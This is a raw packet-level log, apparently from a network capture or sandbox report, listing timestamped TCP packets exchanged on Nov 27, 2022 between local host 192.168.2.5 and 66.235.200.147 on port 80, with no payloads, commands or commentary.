Nov 27, 2022 04:36:40.089437962 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.089442015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.089473009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.089498043 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.089498043 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.089526892 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.089550018 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.089555979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.089584112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.089593887 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.089608908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.089634895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.089643002 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.089660883 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.089692116 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.089696884 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.089718103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.089745045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.089761019 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.089770079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.089797020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.089809895 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.089823961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.089849949 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.089860916 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.089875937 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.089903116 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.089910030 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.089927912 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.089951992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.089967012 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.089977980 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090008974 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090015888 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.090039015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090066910 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090075016 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.090096951 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090121984 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090131998 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.090147018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090183973 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090193033 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.090275049 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090301037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090312958 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.090327978 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090356112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090364933 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.090383053 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090410948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090419054 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.090436935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090464115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090476036 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.090490103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090517998 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090527058 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.090545893 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090575933 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090581894 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.090601921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090626955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090637922 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.090651989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090678930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090687990 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.090706110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090734959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090740919 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.090761900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090787888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090797901 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.090816021 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090842962 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090847969 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.090869904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090908051 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.090917110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090945959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.090986013 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.091167927 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.091216087 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.091245890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.091254950 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.091274977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.091305971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.091310978 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.091337919 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.091365099 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.091375113 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.091393948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.091423988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.091428995 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.091450930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.091478109 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.091502905 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.091506004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.091542959 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.092036009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092062950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092082024 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092099905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092103004 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.092118979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092134953 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.092138052 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092158079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092176914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092185974 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.092195988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092215061 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.092215061 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092237949 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092257023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092264891 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.092277050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092293978 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.092295885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092322111 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092331886 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.092350006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092375994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092384100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.092405081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092436075 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092442036 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.092468023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092494011 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092508078 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.092520952 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092549086 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092560053 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.092580080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092617989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092626095 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.092643976 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092674017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092688084 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.092700958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092727900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092735052 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.092755079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092781067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092787981 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.092808962 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092834949 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092840910 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.092864037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092891932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092899084 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.092921972 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092952013 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.092956066 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.092979908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.093013048 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.093179941 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.093210936 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.093239069 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.093246937 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.093267918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.093297005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.093303919 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.093324900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.093353033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.093359947 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.093381882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.093409061 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.093417883 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.093439102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.093468904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.093477011 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.093496084 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.093523026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.093533993 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.093550920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.093580008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.093585968 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.093610048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.093638897 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.093658924 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.093664885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.093694925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.093703032 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.093725920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.093760014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.093780041 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.093786955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.093816042 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.093826056 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.093844891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.093873978 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.093880892 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.094135046 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.094162941 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.094185114 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.094196081 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.094204903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.094230890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.094232082 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.094261885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.094268084 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.094290972 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.094317913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.094327927 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.094347000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.094374895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.094381094 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.094403982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.094433069 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.094439983 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.094461918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.094487906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.094496012 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.094516993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.094543934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.094551086 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.094572067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.094599962 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.094605923 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.094626904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.094654083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.094675064 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.094682932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.094711065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.094717026 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.094739914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.094769001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.094774961 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.094796896 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.094829082 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.110979080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111021042 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111042023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111063957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111088037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111110926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111135960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111155033 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.111160994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111188889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111215115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111238003 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.111241102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111267090 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.111268997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111296892 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111315966 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.111325026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111351967 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111366034 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.111378908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111404896 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111419916 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.111430883 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111459970 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111469030 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.111486912 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111512899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111525059 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.111540079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111567020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111578941 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.111597061 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111624956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111634016 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.111650944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111679077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111686945 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.111705065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111740112 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.111859083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111887932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111916065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111926079 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.111943007 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111970901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.111983061 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.111998081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.112025023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.112032890 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.112051010 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.112078905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.112096071 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.112107038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.112133980 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.112148046 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.112159967 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.112188101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.112204075 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.112215996 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.112243891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.112256050 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.112270117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.112297058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.112307072 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.112323999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.112351894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.112360954 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.112379074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.112417936 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.112426996 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.112445116 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.112476110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.112502098 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.112505913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.112535000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.112557888 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.112802029 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.112832069 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.112859011 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.112874985 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.112885952 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.112907887 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.112914085 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.112941027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.112948895 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.112971067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.112999916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.113010883 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.113027096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.113056898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.113068104 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.113084078 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.113114119 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.113121033 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.113142967 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.113171101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.113189936 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.113198996 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.113229036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.113240004 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.113257885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.113285065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.113296986 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.113315105 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.113343000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.113353014 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.113370895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.113400936 CET	80	49705	66.235.200.147	192.168.2.5
